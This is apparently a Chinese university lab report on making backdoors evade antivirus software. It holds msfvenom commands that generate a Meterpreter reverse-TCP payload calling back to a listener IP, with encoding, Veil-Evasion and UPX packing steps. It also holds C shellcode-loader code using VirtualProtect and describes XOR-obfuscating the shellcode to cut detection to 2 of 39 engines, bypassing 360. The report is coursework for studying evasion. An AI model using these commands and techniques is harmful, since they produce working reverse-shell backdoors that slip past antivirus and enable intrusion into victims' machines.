Exp3 免杀原理与实践
一、实践内容
- 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
- 2.通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
- 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、基础问题回答
-
1.杀软是如何检测出恶意代码的?
-
答:基于特征码的检测、启发式恶意软件的检测、基于行为的恶意软件检测。
-
2.免杀是做什么?
-
答:免杀是计算机恶意代码防止被反病毒软件发现并隔离删除的一种技术,通常为对恶意代码进行一些隐藏、包装等操作。
-
3.免杀的基本方法有哪些?
-
答:编码、加壳、隐藏核心特征码等。
三、实验过程
第一阶段
-
1.首先我们打开一个老师提供的有多个AV......(anti virus)在线病毒查杀的网址。这个网址可以使用多个AV在线查杀一个不大于20mb的文件,我们可以通过查杀率来判断我们制作的后门程序是否可以实现免杀。http://www.virscan.org/
-
2.因为本次实验要使用visual studio 2017,但是我的win7虚拟机版本不够,如果要安装vs2017要升级系统,为了避免麻烦,因此本次实验我选择在本机win10上进行操作。
-
3.我们先将上次实验生成的后门程序拖到win10上,然而迅速被360安全卫士给隔离了,为了让我们能够将成程序放到网站上,所以我们将它添加为可信任。然后将这个backdoor.exe放到网站上查杀,结果是很可怕的,39个AV中有19个查到了这个后门程序中的恶意代码。
-
4.此时我们需要对这个后门程序进行“改造”,这里参考老师提供的第一个方法,对后门程序进行编码。我们通过
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=192.168.18.129 LPORT=5313 -f exe > met-encoded.exe
对后门程序进行一次重新编码,但是将编码后的后门程序拖入靶机的时候,360依然进行了隔离,同时网址查杀率还是19/39,没有什么变化。
-
5.我们再将后门程序进行编码十次,结果与上者基本是相同的。
第二阶段
-
1.通过实践表明,我们单纯地使用编码是无法改变一个后门程序的特征码,因此各种AV通过病毒库匹配就能轻易地查杀这个后门程序。因此我们准备使用veil-evasion生成一个不同的后门程序。首先进行veil的安装,我们通过
sudo apt-get install veil
就能进行安装,但是我在安装的过程出现了可能是linux源的问题(因此之前安装的时候总是报错,替换了源以后就没有这种报错)。因此在安装到出错的时候我选择了中止安装,先使用sudo apt-get remove veil
将veil已安装的部分卸载,然后使用leafpad /etc/apt/sources.list
修改kali的源,看了以后发现原来是我添加了两种不同的源,而且还不完整,最后我选择了kali的官方源,然后使用sudo apt-get upgrade
进行更新。在之后的veil安装过程中虽然也有错误,但是没有严重的报错,最终成功安装。 -
2.进入veil-evasion以后我们使用
use c/meterpreter/rev_tcp.py
进入后门程序的设置。与之前实验时一样,设置回传IP地址和端口号,最后输入generate确认设置,最后点击enter确认。
-
3.接着我们将这个新生成后门程序(如果找不到后门可以看看上图中的存储地址)拖到win10上,第一时间没有被360发现,这时我们尝试回连,然而在运行后门程序的时候,360对它进行了隔离(毕竟目前国内第一AV)。我们选择信任该后门程序,再进行回连,发现回连成功。之后我们将该程序放入网站上进行查杀,发现查杀率有所降低,达到了8/39,说明veil生成的后门程序能有效地避免一些AV的查杀。
-
4.我们接着尝试使用加壳来对文件进行免杀处理,在kali终端使用upx指令对.exe文件进行加壳处理,然而检杀结果是并没有什么卵用,依然是8/39的查杀率。
第三阶段
-
1.最后我们使用老师推荐的msf生成的shellcode编写后门程序进行测试。首先我们使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.18.129 LPORT=5313 -f c
来生成一段shellcode数组,这个数组是与回连地址与端口号有关的。 -
2.通过老师给的实验指导书,我们使用vs2017对生成的shellcode数组与其回连的函数进行编译生成可执行的.exe文件,即等同于之前生成的后门程序。
#include "stdafx.h"
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const char met[] =
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"此处省去若干行"
"x53xffxd5";
int main()
{
DWORD old = 0;
BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
INT32 * addr;
addr =(INT32*) &met;
__asm;
{
call addr;
}
return 0;
}
-
3.同样的,在第一时间我们的360并没有发现该后门程序,但是在尝试回连的时候发现被隔离了,我们将它添加到可信任,同时进行检杀,发现查杀率下降到了6/39,但是还是躲不过360的测试。
-
4.最后我们使用老师在课上提到的使用字节异或隐藏shellcode数组,让AV搜索不到特征码,进行免杀处理。首先我们通过编写一个做异或的函数,并将生成的shellcode数组填入其中进行运算得到结果。将得到的结果调整格式,与shellcode数组的格式相同,填入之前的回连函数中,并将异或函数写入,在回连前通过异或运算转变为原shellcode数组实现回连。最后我们尝试回连的时候竟然发现......360终于放弃了抵抗,没有进行隔离,同时我将该.exe文件放到网站上去检杀,最终的查杀率是有不到5%,2/39,即只有两个AV查到了这个后门程序,虽然不完美,没有实现完全免杀,但是还是非常具有实用价值最后在vs里做一个包装嘿嘿嘿~